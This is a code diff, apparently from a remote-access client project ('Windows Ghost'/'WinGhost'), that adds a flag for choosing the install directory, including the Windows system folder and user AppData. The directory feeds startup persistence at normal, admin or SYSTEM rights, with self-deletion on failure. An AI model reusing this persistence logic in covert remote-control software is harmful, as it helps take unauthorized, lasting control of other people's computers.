Feature: Allow user to select an installation location for client

client/ClientDll.cpp

@@ -283,7 +283,7 @@ int main(int argc, const char *argv[])
     int r = RegisterStartup(
                 g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
                 g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
-                lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
+                lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag);
     if (r <= 0) {
         BOOL s = self_del();
         if (!IsDebug) {

client/reg_startup.c

@@ -371,10 +371,28 @@ BOOL CreateDirectoryRecursively(const char* path)
     return TRUE;
 }
 
-const char* GetInstallDirectory(const char * startupName)
+const char* GetInstallDirectory(const char * startupName, int flag)
 {
     static char folder[MAX_PATH] = { 0 };
-    if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) {
+    char env[32] = { 0 };
+    switch (flag) {
+    case 1:
+        strcpy(env, "ProgramFiles");
+        break;
+    case 2:
+        strcpy(env, "SystemRoot"); // Windows 目录，通常 C:\Windows
+        break;
+    case 3:
+        strcpy(env, "APPDATA"); // 当前用户的漫游应用数据目录，即 ...\AppData\Roaming
+        break;
+    case 4:
+        strcpy(env, "LOCALAPPDATA"); // 当前用户的本地应用数据目录，即 ...\AppData\Local
+        break;
+    default: // 0
+        strcpy(env, "ProgramData");
+        break;
+    }
+    if (GetEnvironmentVariableA(env, folder, MAX_PATH) > 0) {
         size_t len = strlen(folder);
         if (len > 0 && folder[len - 1] != '\\') {
             folder[len] = '\\';
@@ -390,7 +408,7 @@ const char* GetInstallDirectory(const char * startupName)
     return folder;
 }
 
-int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
+int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag)
 {
 #ifdef _DEBUG
     return 1;
@@ -401,7 +419,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
     if (GetUserNameA(username, &size)) {
         Mprintf("RegisterStartup is running with user: %s. Dir: %s, Name: %s\n", username, startupName, exeName);
     }
-    const char *folder = GetInstallDirectory(startupName);
+    const char *folder = GetInstallDirectory(startupName, flag);
     if (!folder) {
         return -1;
     }

client/reg_startup.h

@@ -1,13 +1,13 @@
 #pragma once
 #include <stdbool.h>
 
-const char* GetInstallDirectory(const char* startupName);
+const char* GetInstallDirectory(const char* startupName, int flag);
 
 typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
 
 // return > 0 means to continue running else terminate.
 // runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
-int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
+int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag);
 
 // 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
 bool IsSystemInSession0();

client/test.cpp

@@ -320,10 +320,11 @@ int main(int argc, const char *argv[])
         int r = RegisterStartup(
             g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
             g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
-            lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
+            lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf, g_ConnectAddress.installFlag);
         if (r <= 0) {
             if (g_ConnectAddress.iStartup == Startup_DLL) {
-                const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
+                const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo", 
+                    g_ConnectAddress.installFlag);
                 if (!folder) {
                     return -1;
                 }